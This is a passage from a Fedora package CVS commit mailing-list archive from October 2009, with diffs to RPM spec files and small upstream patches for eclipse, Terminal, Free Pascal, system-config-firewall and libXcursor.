+- use relative paths within db environment (related to #507309, #507309...)
+- remove db environment on close in chrooted operation (related to above)
+- initialize rpmlib earlier in rpm2cpio (#523260)
+- fix file dependency tag extension formatting (#523282)
+- fix duplicate dependency filtering on build (#490378)
+- permit absolute paths in file lists again (#521760)
+- use permissions 444 for all .debug files (#522194)
+- perl dep extractor heredoc parsing improvements (#524929)
+
 * Mon Jul 27 2009 Bill Nottingham <notting at redhat.com> - 4.7.1-2
 - bump release
 



From akurtakov at fedoraproject.org  Thu Oct  8 10:07:45 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Thu,  8 Oct 2009 10:07:45 +0000 (UTC)
Subject: rpms/eclipse/devel sources, 1.83, 1.84 eclipse.spec, 1.674,
	1.675 eclipse-pde.build-add-package-build.patch, 1.13,
	NONE eclipse-osgi-classpath.patch, 1.2,
	NONE eclipse-gtk2.18zorder.patch, 1.1, NONE
Message-ID: <20091008100745.19A3D11C00DB@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17429/devel

Modified Files:
	sources eclipse.spec 
Removed Files:
	eclipse-pde.build-add-package-build.patch 
	eclipse-osgi-classpath.patch eclipse-gtk2.18zorder.patch 
Log Message:
- New eclipse-build snapshot. Remove parts included in it.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/sources,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- sources	2 Oct 2009 20:01:51 -0000	1.83
+++ sources	8 Oct 2009 10:07:44 -0000	1.84
@@ -1,2 +1,2 @@
 3ed7a1c9c13a73f6d7abc0b0305631e3  eclipse-R3_5_1-fetched-src.tar.bz2
-a756f9afb426b6deeab225c537e1645c  eclipse-build-0.4.0RC0.tar.gz
+c02651bd19acc5bddec2e53dbc3e8820  eclipse-build-0.4.0RC0.tar.gz


Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/eclipse.spec,v
retrieving revision 1.674
retrieving revision 1.675
diff -u -p -r1.674 -r1.675
--- eclipse.spec	7 Oct 2009 19:59:11 -0000	1.674
+++ eclipse.spec	8 Oct 2009 10:07:44 -0000	1.675
@@ -30,7 +30,7 @@ Epoch:  1
 Summary:        An open, extensible IDE
 Name:           eclipse
 Version:        %{eclipse_majmin}.%{eclipse_micro}
-Release:        3%{?dist}
+Release:        4%{?dist}
 License:        EPL
 Group:          Text Editors/Integrated Development Environments (IDE)
 URL:            http://www.eclipse.org/
@@ -49,16 +49,6 @@ Source27:       ecf-filetransfer-build.p
 # This script copies the platform sub-set of the SDK for generating metadata
 Source28:       %{name}-mv-Platform.sh
 
-# This does two things:
-# 1. allows the launcher to be in /usr/bin and
-# 2. ensures that the OSGi configuration directory
-#    (which contains the JNI .sos) is in %{_libdir}
-# We should investigate whether or not this can go upstream
-#Patch12:        %{name}-launcher-set-install-dir-and-shared-config.patch
-# generic releng plugins that can be used to build plugins
-# see this thread for details:
-# https://www.redhat.com/archives/fedora-devel-java-list/2006-April/msg00048.html
-Patch0:        %{name}-pde.build-add-package-build.patch
 Patch1:        %{name}-add-ppc64-sparc64-s390-s390x.patch
 Patch2:        %{name}-add-ppc64-sparc64-s390-s390x-2.patch
 
@@ -69,14 +59,6 @@ Patch5:        %{name}-add-ppc64-filesys
 # need to go upstream.
 Patch6:        %{name}-target-platform-template.patch
 
-# Add /usr/share/eclipse/dropins to list of dropins locations
-# Already applied in eclipse-build upstream rev. #23023
-Patch7:        %{name}-addusrsharedropins.patch
-
-# https://bugs.eclipse.org/bugs/show_bug.cgi?id=287307
-# Already applied in eclipse-build upstream
-Patch8:        %{name}-gtk2.18zorder.patch
-
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  ant
 BuildRequires:  jpackage-utils >= 0:1.5, make, gcc
@@ -222,14 +204,9 @@ developing Eclipse plugins.
 %prep
 %setup -q -n eclipse-build-0.4.0RC0
 cp %{SOURCE1} .
-sed --in-place "s/<target name=\"build\" depends=\"applyPatches,bootstrap,compilelibs\">/<target name=\"build\" depends=\"bootstrap,compilelibs\">/" build.xml
 ant applyPatches
 pushd build/eclipse-R3_5_1-fetched-src
 
-# liblocalfile fixes
-sed --in-place "s/JAVA_HOME =/#JAVA_HOME =/" plugins/org.eclipse.core.filesystem/natives/unix/linux/Makefile
-sed --in-place "s/OPT_FLAGS=-O/OPT_FLAGS=-O2 -g/" plugins/org.eclipse.core.filesystem/natives/unix/linux/Makefile
-
 # Use our system-installed javadocs, reference only what we built, and
 # don't like to osgi.org docs (FIXME:  maybe we should package them?)
 sed -i -e "s|http://java.sun.com/j2se/1.4.2/docs/api|%{_datadir}/javadoc/java|" \
@@ -245,19 +222,10 @@ sed -i -e "s|http://java.sun.com/j2se/1.
    plugins/org.eclipse.pde.doc.user/pdeOptions.txt \
    plugins/org.eclipse.pde.doc.user/pdeOptions.txt
 
-pushd plugins/org.eclipse.pde.build
-%patch0
-sed --in-place "s:/usr/share/eclipse:%{_libdir}/%{name}:" templates/package-build/build.properties
-popd
-
 # Remove signatures for JARs
 find -iname \*.sf | xargs rm
 find -iname \*.rsa | xargs rm
 
-# all output should be directed to stdout
-# https://bugs.eclipse.org/bugs/show_bug.cgi?id=144942
-find -type f -name \*.xml -exec sed --in-place -r "s/output=\".*(txt|log).*\"//g" "{}" \;
-
 # Remove existing .sos and binary launcher
 find -name \*.so | xargs rm
 find features/org.eclipse.equinox.executable -type f -name eclipse | xargs rm
@@ -497,11 +465,6 @@ rm plugins/org.eclipse.swt/extra_jars/ex
    plugins/org.eclipse.osgi/osgi/osgi.cmpn.jar \
    plugins/org.eclipse.osgi/osgi/osgi.core.jar
 
-# FIXME:  figure out a way to symlink to something.  Alternatively,
-# patch out of package.org.eclipse.sdk*.xml.
-# Delete unnecessary-for-build source JARs
-#rm plugins/*.source_*.jar
-
 # make sure there are no jars left
 JARS=""
 for j in $(find -name \*.jar); do
@@ -527,11 +490,6 @@ popd
 
 # target platform template patch
 %patch6 -p0
-%patch7 -p0
-popd
-
-pushd build/eclipse-R3_5_1-fetched-src/plugins/org.eclipse.swt
-%patch8 -p0
 popd
 
 %build
@@ -576,17 +534,15 @@ SWT_MAJ_VER=$(grep maj_ver build/eclipse
 SWT_MIN_VER=$(grep min_ver build/eclipse-R3_5_1-fetched-src/plugins/org.eclipse.swt/Eclipse\ SWT/common/library/make_common.mak | cut -f 2 -d =)
 SWT_VERSION=$SWT_MAJ_VER$SWT_MIN_VER
 
+ant -DdestDir=$RPM_BUILD_ROOT -Dprefix=/usr -DbuildArch=%{eclipse_arch} install
+
+cp $RPM_BUILD_ROOT%{_libdir}/eclipse/eclipse.ini eclipse.ini-real
 # Some directories we need
 sdkDir=$RPM_BUILD_ROOT%{_libdir}/%{name}
-install -d -m 755 $sdkDir
-install -d -m 755 $sdkDir/plugins
-install -d -m 755 $sdkDir/features
 # FIXME:  We can probably get rid of the links directory (for the
 # datadir.link file) when we ensure all plugins are installing into
 # dropins (either in libdir or datadir).
 install -d -m 755 $RPM_BUILD_ROOT%{_libdir}/java
-install -d -m 755 $RPM_BUILD_ROOT%{_datadir}/%{name}
-install -d -m 755 $RPM_BUILD_ROOT%{_datadir}/%{name}/dropins
 
 # FIXME:  Please don't install stuff to these directories.  They're only
 # still here for legacy plugins (which probably won't function in 3.4).
@@ -813,24 +769,10 @@ done
 popd
 %endif
 
-cp -p build/eclipse-R3_5_1-fetched-src/installation/eclipse.ini \
+cp -p eclipse.ini-real \
   $sdkDir/eclipse.ini
-# We have /usr/share/eclipse/dropins in eclipse.ini
-sed -i "s|/usr/share|%{_datadir}|" $sdkDir/eclipse.ini
 
-sed --in-place "s/osgi.ws=gtk/osgi.ws=gtk\norg.eclipse.update.reconcile=false/" \
-  $RPM_BUILD_ROOT%{_libdir}/%{name}/configuration/config.ini
-sed --in-place "s|org.eclipse.core.runtime,3.5.0.v20090316,file:plugins/org.eclipse.core.runtime_3.5.0.v20090316.jar,4,false|org.eclipse.core.runtime,3.5.0.v20090316,file:plugins/org.eclipse.core.runtime_3.5.0.v20090316.jar,4,true|" \
-  $RPM_BUILD_ROOT%{_libdir}/%{name}/configuration/org.eclipse.equinox.simpleconfigurator/bundles.info
-
-# Install the Eclipse binary wrapper
-install -d -m 755 $RPM_BUILD_ROOT%{_bindir}
-ln -s %{_libdir}/%{name}/%{name} $RPM_BUILD_ROOT%{_bindir}/%{name}
-install -d -m 755 $RPM_BUILD_ROOT%{_bindir}
-#cp -p %{SOURCE3} $RPM_BUILD_ROOT%{_bindir}/eclipse
-#sed --in-place "s|@LIBDIR@|%{_libdir}|g" $RPM_BUILD_ROOT%{_bindir}/eclipse
-#ECLIPSELIBSUFFIX=$(ls $RPM_BUILD_ROOT%{_libdir}/%{name}/plugins/org.eclipse.equinox.launcher.gtk.linux*/*.so | sed "s/.*.launcher.gtk.linux.//")
-#sed --in-place "s|@ECLIPSELIBSUFFIX@|$ECLIPSELIBSUFFIX|" $RPM_BUILD_ROOT%{_bindir}/eclipse
+sed -i "s|$RPM_BUILD_ROOT||g" $sdkDir/eclipse.ini
 
 mkdir -p $RPM_BUILD_ROOT%{_libdir}/%{name}/links
 # FIXME:  We can probably get rid of the links file when we ensure all
@@ -851,20 +793,6 @@ ln -s swt-gtk-%{eclipse_majmin}.%{eclips
 ln -s ../%{name}/swt-gtk-%{eclipse_majmin}.%{eclipse_micro}.jar ../java/swt.jar
 popd
 
-# Icons
-PLATFORMVERSION=$(ls $sdkDir/plugins | grep org.eclipse.platform_ | sed 's/org.eclipse.platform_//')
-install -d -m 755 $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/48x48/apps
-ln -s %{_libdir}/%{name}/plugins/org.eclipse.platform_$PLATFORMVERSION/eclipse48.png \
-  $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/48x48/apps/%{name}.png
-install -d -m 755 $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/32x32/apps
-ln -s %{_libdir}/%{name}/plugins/org.eclipse.platform_$PLATFORMVERSION/eclipse32.png \
-  $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/32x32/apps/%{name}.png
-install -d -m 755 $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/16x16/apps
-ln -s %{_libdir}/%{name}/plugins/org.eclipse.platform_$PLATFORMVERSION/eclipse.png \
-  $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/16x16/apps/%{name}.png
-install -d -m 755 $RPM_BUILD_ROOT%{_datadir}/pixmaps
-ln -s %{_datadir}/icons/hicolor/48x48/apps/%{name}.png $RPM_BUILD_ROOT%{_datadir}/pixmaps
-
 # Install the efj wrapper script
 install -p -D -m0755 %{SOURCE17} $RPM_BUILD_ROOT%{_bindir}/efj
 sed --in-place "s:startup.jar:%{_libdir}/%{name}/startup.jar:" \
@@ -1147,8 +1075,6 @@ fi
 %defattr(-,root,root)
 %attr(0755,root,root) %{_bindir}/%{name}
 %config %{_libdir}/%{name}/eclipse.ini
-#%{_libdir}/%{name}/.eclipseproduct
-%{_libdir}/%{name}/configuration/config.ini
 %ifnarch ppc
 %{_libdir}/%{name}/about_files
 %endif
@@ -1302,6 +1228,9 @@ fi
 #%{_libdir}/%{name}/configuration/org.eclipse.equinox.source
 
 %changelog
+* Thu Oct 8 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-4
+- New eclipse-build snapshot. Remove parts included in it.
+
 * Wed Oct 07 2009 Andrew Overholt <overholt at redhat.com> 1:3.5.1-3
 - Add patch for bugs.eclipse.org/287307
 


--- eclipse-pde.build-add-package-build.patch DELETED ---


--- eclipse-osgi-classpath.patch DELETED ---


--- eclipse-gtk2.18zorder.patch DELETED ---



From cwickert at fedoraproject.org  Thu Oct  8 10:16:30 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Thu,  8 Oct 2009 10:16:30 +0000 (UTC)
Subject: rpms/Terminal/devel Terminal-0.4.2-set-correct-gettext-domain.patch,
	NONE, 1.1 Terminal.spec, 1.32, 1.33
Message-ID: <20091008101630.95A0511C00DB@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/Terminal/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19310

Modified Files:
	Terminal.spec 
Added Files:
	Terminal-0.4.2-set-correct-gettext-domain.patch 
Log Message:
* Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-2
- Fix locale problems in the UI (bugzilla.xfce.org #5842)


Terminal-0.4.2-set-correct-gettext-domain.patch:
 terminal-preferences-dialog.c |    6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

--- NEW FILE Terminal-0.4.2-set-correct-gettext-domain.patch ---
>From 5c955bb0435dca6d7114903d246cf2e4a215cc5e Mon Sep 17 00:00:00 2001
From: Nick Schermer <nick at xfce.org>
Date: Thu, 08 Oct 2009 09:44:36 +0000
Subject: Set the correct translation domain before reading the ui file (bug #5842).

---
diff --git a/terminal/terminal-preferences-dialog.c b/terminal/terminal-preferences-dialog.c
index 7836032..c3bc2cf 100644
--- a/terminal/terminal-preferences-dialog.c
+++ b/terminal/terminal-preferences-dialog.c
@@ -101,6 +101,11 @@ terminal_preferences_dialog_init (TerminalPreferencesDialog *dialog)
 
   dialog->preferences = terminal_preferences_get ();
 
+  /* make sure the correct translation domain is set, since other programs
+   * could reset it, like for example the XFCE_LICENSE_GPL in terminal-dialogs.c,
+   * see http://bugzilla.xfce.org/show_bug.cgi?id=5842 */
+  xfce_textdomain (GETTEXT_PACKAGE, PACKAGE_LOCALE_DIR, "UTF-8");
+
   /* hack to initialize the XfceTitledDialog class */
   if (xfce_titled_dialog_get_type () == 0)
     return;
--
cgit v0.8.2.1


Index: Terminal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Terminal/devel/Terminal.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- Terminal.spec	6 Oct 2009 21:39:19 -0000	1.32
+++ Terminal.spec	8 Oct 2009 10:16:29 -0000	1.33
@@ -1,10 +1,13 @@
 Summary: X Terminal Emulator
 Name: Terminal
 Version: 0.4.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+
 URL: http://www.xfce.org/projects/terminal/
 Source0:  http://archive.xfce.org/src/apps/terminal/0.4/Terminal-%{version}.tar.bz2
+# http://bugzilla.xfce.org/show_bug.cgi?id=5842 was fixed with
+# http://git.xfce.org/apps/terminal/commit/?id=5c955bb0435dca6d7114903d246cf2e4a215cc5e
+Patch0: Terminal-0.4.2-set-correct-gettext-domain.patch
 Group: User Interface/Desktops
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: vte-devel >= 0.17.1
@@ -22,6 +25,7 @@ it unique among X terminal emulators. 
 
 %prep
 %setup -q
+%patch0 -p1 -b .orig
 
 %build
 %configure
@@ -68,6 +72,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_libexecdir}/TerminalHelp
 
 %changelog
+* Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-2
+- Fix locale problems in the UI (bugzilla.xfce.org #5842)
+
 * Tue Oct 06 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-1
 - Update to 0.4.2
 - Update icon cache scriptlets



From joost at fedoraproject.org  Thu Oct  8 10:21:08 2009
From: joost at fedoraproject.org (Joost van der Sluis)
Date: Thu,  8 Oct 2009 10:21:08 +0000 (UTC)
Subject: rpms/fpc/devel fpc.spec,1.35,1.36
Message-ID: <20091008102108.3F00111C00DB@cvs1.fedora.phx.redhat.com>

Author: joost

Update of /cvs/pkgs/rpms/fpc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21384

Modified Files:
	fpc.spec 
Log Message:
* Tue Oct 6 2009 Joost van der Sluis <joost at cnoc.nl> 2.2.4-4
- fixed procvar parameter passing on ppc/sysv (by value instead of by
  reference -- except for method procvars, for tmethod record compatibility) 



Index: fpc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fpc/devel/fpc.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- fpc.spec	24 Jul 2009 23:04:15 -0000	1.35
+++ fpc.spec	8 Oct 2009 10:21:08 -0000	1.36
@@ -1,6 +1,6 @@
 Name:           fpc
 Version:        2.2.4
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Free Pascal Compiler
 
 Group:          Development/Languages
@@ -14,6 +14,7 @@ Source0:        ftp://ftp.freepascal.org
 Patch0:         %{name}-%{version}-samplecfg_32and64bit.patch
 Patch1:         %{name}-%{version}-build-id.patch
 Patch2:         %{name}-%{version}-stackexecute.patch
+Patch3:         %{name}-%{version}-r12475.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires:       gpm, glibc, ncurses, binutils
@@ -53,18 +54,16 @@ automatical-code generation purposes.
 
 %define smart _smart 
 
+%define fpcdebugopt -gl
 %ifarch ppc
 %define ppcname ppcppc
-%define fpcdebugopt -gl
 %else
 %ifarch x86_64
 %define ppcname ppcx64
 %else
 %ifarch ppc64
-%define ppcname ppcppc64
 %else
 %define ppcname ppc386
-%define fpcdebugopt -gl
 %endif
 %endif
 %endif
@@ -78,6 +77,7 @@ automatical-code generation purposes.
 %patch0
 %patch1
 %patch2
+%patch3
 
 %build
 # The source-files:
@@ -177,6 +177,10 @@ rm -rf %{buildroot}
 %{_datadir}/fpcsrc
 
 %changelog
+* Tue Oct 6 2009 Joost van der Sluis <joost at cnoc.nl> 2.2.4-4
+- fixed procvar parameter passing on ppc/sysv (by value instead of by
+  reference -- except for method procvars, for tmethod record compatibility) 
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2.4-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From twoerner at fedoraproject.org  Thu Oct  8 10:22:59 2009
From: twoerner at fedoraproject.org (Thomas Woerner)
Date: Thu,  8 Oct 2009 10:22:59 +0000 (UTC)
Subject: rpms/system-config-firewall/devel .cvsignore, 1.30, 1.31 sources,
	1.35, 1.36 system-config-firewall.spec, 1.47, 1.48
Message-ID: <20091008102259.4003711C00DB@cvs1.fedora.phx.redhat.com>

Author: twoerner

Update of /cvs/pkgs/rpms/system-config-firewall/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22037

Modified Files:
	.cvsignore sources system-config-firewall.spec 
Log Message:
- fixed Policykit v0 compatibility for Fedora version 10 and 11: python-slip
  for PolicyKit v0 does not provide dbus
- updated translations: bn_IN, uk, zh_CN




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-firewall/devel/.cvsignore,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- .cvsignore	11 Sep 2009 14:57:10 -0000	1.30
+++ .cvsignore	8 Oct 2009 10:22:58 -0000	1.31
@@ -1,5 +1 @@
-system-config-firewall-1.2.14.tar.bz2
-system-config-firewall-1.2.15.tar.bz2
-system-config-firewall-1.2.16.tar.bz2
-system-config-firewall-1.2.17.tar.bz2
-system-config-firewall-1.2.18.tar.bz2
+system-config-firewall-1.2.21.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-firewall/devel/sources,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- sources	29 Sep 2009 15:39:46 -0000	1.35
+++ sources	8 Oct 2009 10:22:58 -0000	1.36
@@ -1 +1 @@
-9bff633034ef0df084fe3120002f08b0  system-config-firewall-1.2.20.tar.bz2
+cf37921b3a11b925d26cafa0f590536d  system-config-firewall-1.2.21.tar.bz2


Index: system-config-firewall.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-firewall/devel/system-config-firewall.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- system-config-firewall.spec	29 Sep 2009 15:39:46 -0000	1.47
+++ system-config-firewall.spec	8 Oct 2009 10:22:59 -0000	1.48
@@ -15,7 +15,7 @@
 
 Summary: A graphical interface for basic firewall setup
 Name: system-config-firewall
-Version: 1.2.20
+Version: 1.2.21
 Release: 1%{?dist}
 URL: http://fedorahosted.org/system-config-firewall
 License: GPLv2+
@@ -170,6 +170,11 @@ fi
 %{_datadir}/system-config-firewall/fw_tui.*
 
 %changelog
+* Thu Oct  8 2009 Thomas Woerner <twoerner at redhat.com> 1.2.21-1
+- fixed Policykit v0 compatibility for Fedora version 10 and 11: python-slip
+  for PolicyKit v0 does not provide dbus
+- updated translations: bn_IN, uk, zh_CN
+
 * Tue Sep 29 2009 Thomas Woerner <twoerner at redhat.com> 1.2.20-1
 - new sub-package base containing the base components and the command line tool
   (rhbz#525153)



From twoerner at fedoraproject.org  Thu Oct  8 10:23:50 2009
From: twoerner at fedoraproject.org (Thomas Woerner)
Date: Thu,  8 Oct 2009 10:23:50 +0000 (UTC)
Subject: rpms/system-config-firewall/F-12 sources, 1.35,
	1.36 system-config-firewall.spec, 1.47, 1.48
Message-ID: <20091008102350.D2CCF11C00DB@cvs1.fedora.phx.redhat.com>

Author: twoerner

Update of /cvs/pkgs/rpms/system-config-firewall/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22326

Modified Files:
	sources system-config-firewall.spec 
Log Message:
- fixed Policykit v0 compatibility for Fedora version 10 and 11: python-slip
  for PolicyKit v0 does not provide dbus
- updated translations: bn_IN, uk, zh_CN




Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-firewall/F-12/sources,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- sources	29 Sep 2009 15:39:00 -0000	1.35
+++ sources	8 Oct 2009 10:23:50 -0000	1.36
@@ -1 +1 @@
-9bff633034ef0df084fe3120002f08b0  system-config-firewall-1.2.20.tar.bz2
+cf37921b3a11b925d26cafa0f590536d  system-config-firewall-1.2.21.tar.bz2


Index: system-config-firewall.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-firewall/F-12/system-config-firewall.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- system-config-firewall.spec	29 Sep 2009 15:39:00 -0000	1.47
+++ system-config-firewall.spec	8 Oct 2009 10:23:50 -0000	1.48
@@ -15,7 +15,7 @@
 
 Summary: A graphical interface for basic firewall setup
 Name: system-config-firewall
-Version: 1.2.20
+Version: 1.2.21
 Release: 1%{?dist}
 URL: http://fedorahosted.org/system-config-firewall
 License: GPLv2+
@@ -170,6 +170,11 @@ fi
 %{_datadir}/system-config-firewall/fw_tui.*
 
 %changelog
+* Thu Oct  8 2009 Thomas Woerner <twoerner at redhat.com> 1.2.21-1
+- fixed Policykit v0 compatibility for Fedora version 10 and 11: python-slip
+  for PolicyKit v0 does not provide dbus
+- updated translations: bn_IN, uk, zh_CN
+
 * Tue Sep 29 2009 Thomas Woerner <twoerner at redhat.com> 1.2.20-1
 - new sub-package base containing the base components and the command line tool
   (rhbz#525153)



From paragn at fedoraproject.org  Thu Oct  8 10:25:02 2009
From: paragn at fedoraproject.org (paragn)
Date: Thu,  8 Oct 2009 10:25:02 +0000 (UTC)
Subject: rpms/libXcursor/devel libXcursor.spec,1.26,1.27
Message-ID: <20091008102502.1F8A211C00DB@cvs1.fedora.phx.redhat.com>

Author: paragn

Update of /cvs/pkgs/rpms/libXcursor/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22671

Modified Files:
	libXcursor.spec 
Log Message:
* Thu Oct 08 2009 Parag <paragn at fedoraproject.org> - 1.1.10-2
- Merge-Review #226066
- Removed XFree86-libs, xorg-x11-libs as Obsoletes
- Removed BR:pkgconfig
- Few spec cleanups




Index: libXcursor.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXcursor/devel/libXcursor.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- libXcursor.spec	28 Aug 2009 06:52:21 -0000	1.26
+++ libXcursor.spec	8 Oct 2009 10:25:01 -0000	1.27
@@ -1,7 +1,7 @@
-Summary: X.Org X11 libXcursor runtime library
+Summary: Cursor management library 
 Name: libXcursor
 Version: 1.1.10
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -10,26 +10,27 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 Source1: index.theme
 
-BuildRequires: pkgconfig
 BuildRequires: xorg-x11-util-macros
 BuildRequires: xorg-x11-proto-devel
 BuildRequires: libX11-devel
 BuildRequires: libXfixes-devel
 BuildRequires: libXrender-devel >= 0.8.2
 
-Obsoletes: XFree86-libs, xorg-x11-libs
 
 %description
-X.Org X11 libXcursor runtime library
+This is  a simple library designed to help locate and load cursors.
+Cursors can be loaded from files or memory. A library of common cursors
+exists which map to the standard X cursor names.Cursors can exist in 
+several sizes and the library automatically picks the best size.
 
 %package devel
-Summary: X.Org X11 libXcursor development package
+Summary: Development files for %{name}
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 Requires: pkgconfig
 
 %description devel
-X.Org X11 libXcursor development package
+libXcursor development package.
 
 %prep
 %setup -q
@@ -43,15 +44,15 @@ X.Org X11 libXcursor development package
 %if ! %{with_static}
 	--disable-static
 %endif
-make
+make %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
 
-make install DESTDIR=$RPM_BUILD_ROOT
+make install DESTDIR=$RPM_BUILD_ROOT INSTALL="install -p"
 
-mkdir -p $RPM_BUILD_ROOT/usr/share/icons/default
-install -m 644 %{SOURCE1} $RPM_BUILD_ROOT/usr/share/icons/default/index.theme
+mkdir -p $RPM_BUILD_ROOT%{_datadir}/icons/default
+install -m 644 %{SOURCE1} $RPM_BUILD_ROOT%{_datadir}/icons/default/index.theme
 
 # We intentionally don't ship *.la files
 rm -f $RPM_BUILD_ROOT%{_libdir}/*.la
@@ -83,6 +84,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/Xcursor*.3*
 
 %changelog
+* Thu Oct 08 2009 Parag <paragn at fedoraproject.org> - 1.1.10-2
+- Merge-Review #226066
+- Removed XFree86-libs, xorg-x11-libs as Obsoletes
+- Removed BR:pkgconfig
+- Few spec cleanups
+
 * Fri Aug 28 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.1.10-1
 - libXcursor 1.1.10
 



From joost at fedoraproject.org  Thu Oct  8 10:25:22 2009
From: joost at fedoraproject.org (Joost van der Sluis)
Date: Thu,  8 Oct 2009 10:25:22 +0000 (UTC)
Subject: rpms/fpc/devel fpc-2.2.4-r12475.patch,NONE,1.1
Message-ID: <20091008102522.301A811C00DB@cvs1.fedora.phx.redhat.com>

Author: joost

Update of /cvs/pkgs/rpms/fpc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22788

Added Files:
	fpc-2.2.4-r12475.patch 
Log Message:
* Tue Oct 8 2009 Joost van der Sluis <joost at cnoc.nl> 2.2.4-4
- Added file forgotten in previous commit


fpc-2.2.4-r12475.patch:
 cpupara.pas |   25 +++++++++++++++++++++++--
 1 file changed, 23 insertions(+), 2 deletions(-)

--- NEW FILE fpc-2.2.4-r12475.patch ---
Index: fpcsrc/compiler/powerpc/cpupara.pas
===================================================================
--- fpcsrc/compiler/powerpc/cpupara.pas	(revision 12474)
+++ fpcsrc/compiler/powerpc/cpupara.pas	(revision 12475)
@@ -130,7 +130,12 @@
               result:=LOC_REGISTER;
             classrefdef:
               result:=LOC_REGISTER;
-            procvardef,
+            procvardef:
+              if (target_info.abi = abi_powerpc_aix) or
+                 (p.size = sizeof(pint)) then
+                result:=LOC_REGISTER
+              else
+                result:=LOC_REFERENCE;
             recorddef:
               if (target_info.abi<>abi_powerpc_aix) or
                  ((p.size >= 3) and
@@ -181,8 +186,24 @@
           variantdef,
           formaldef :
             result:=true;
-          recorddef,
+          { regular procvars must be passed by value, because you cannot pass
+            the address of a local stack location when calling e.g.
+            pthread_create with the address of a function (first of all it
+            expects the address of the function to execute and not the address
+            of a memory location containing that address, and secondly if you
+            first store the address on the stack and then pass the address of
+            this stack location, then this stack location may no longer be
+            valid when the newly started thread accesses it.
+
+            However, for "procedure of object" we must use the same calling
+            convention as for "8 byte record" due to the need for
+            interchangeability with the TMethod record type.
+          }
           procvardef :
+            result:=
+              (target_info.abi <> abi_powerpc_aix) and
+              (def.size <> sizeof(pint));
+          recorddef :
             result :=
               (target_info.abi<>abi_powerpc_aix) or
               ((varspez = vs_const) and



From paragn at fedoraproject.org  Thu Oct  8 10:33:41 2009
From: paragn at fedoraproject.org (paragn)
Date: Thu,  8 Oct 2009 10:33:41 +0000 (UTC)
Subject: rpms/libXcursor/devel libXcursor.spec,1.27,1.28
Message-ID: <20091008103341.774E411C00DB@cvs1.fedora.phx.redhat.com>

Author: paragn

Update of /cvs/pkgs/rpms/libXcursor/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24462

Modified Files:
	libXcursor.spec 
Log Message:
- fix rpmlint output



Index: libXcursor.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXcursor/devel/libXcursor.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- libXcursor.spec	8 Oct 2009 10:25:01 -0000	1.27
+++ libXcursor.spec	8 Oct 2009 10:33:41 -0000	1.28
